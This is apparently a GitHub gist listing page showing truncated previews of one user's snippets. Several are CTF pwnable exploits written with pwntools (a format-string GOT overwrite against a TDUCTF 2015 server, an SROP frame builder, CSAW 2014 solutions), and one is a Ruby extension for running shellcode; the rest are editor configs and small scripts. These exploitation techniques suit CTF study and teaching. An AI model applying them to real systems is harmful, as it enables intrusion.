Skip to content

Instantly share code, notes, and snippets.

@rekkusu
rekkusu / charlotte.py
Last active August 31, 2015 09:41
TDUCTF 2015 Pwnable writeup
from pwn import *
from libformatstr import FormatStr
import time
s = remote('crackme.sakura.tductf.org', 10773)
read_secret = 0x0804875d
strlen_got = 0x8049138
exit_got = 0x804912c
puts_plt = 0x8048580
@rekkusu
rekkusu / exploit.py
Last active August 29, 2015 14:24
ropasaurusrex5
from pwn import *
import time
def srop(eax, ebx = 0, ecx = 0, edx = 0, esi = 0, edi = 0):
global stack
return ''.join([
p32(0x2b), # ds
p32(edi), # edi
p32(esi), # esi
p32(stack), # ebp
@rekkusu
rekkusu / designer.html
Created January 10, 2015 04:56
designer
<link rel="import" href="../core-icon-button/core-icon-button.html">
<link rel="import" href="../core-toolbar/core-toolbar.html">
<link rel="import" href="../core-header-panel/core-header-panel.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
@rekkusu
rekkusu / weissman.py
Created September 22, 2014 08:33
CSAW CTF 2014 bin300(2) weissman
import os
import time
import struct
from pwn import *
def extract(fname):
f = open(fname, 'rb')
head = header(f)
for i in range(head[2]):
fhead = file_header(f)
@rekkusu
rekkusu / log.txt
Last active August 29, 2015 14:06
CSAW CTF 2014 Bin300(1) wololo
I'm ready to accept your input file!
Run this with: python wololo_x.py hostname port file_to_submit
#!/usr/bin/env python
import sys, socket, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
print s.recv(1024)
import tweepy
import pushover
consumer_key = ''
consumer_secret = ''
access_token = ''
access_token_secret = ''
pushover_apikey = ''
pushover_userkey = ''
(add-to-list 'load-path "~/.emacs.d/evil")
(require 'evil)
(evil-mode 1)
@rekkusu
rekkusu / extconf.rb
Last active August 28, 2018 18:05
Run shellcode from Ruby
require 'mkmf'
create_makefile('shellcode')
@rekkusu
rekkusu / gist:1786809
Created February 10, 2012 04:58
*.rbでタブ押したときにスペース2つ
augroup fileread
autocmd!
autocmd BufNewFile,BufRead *.rb set shiftwidth=2 tabstop=2 expandtab
" ...
augroup END
@rekkusu
rekkusu / load.js
Created August 17, 2011 15:50 — forked from KOBA789/load.js
こばのなにかひどいなにかを動作確認しないで書き換えてみた
var load = new (function () {
var count = 0;
var next = function () {}
var callback = function () {
count --;
if (count <= 0) {
next();
}
}
self = this;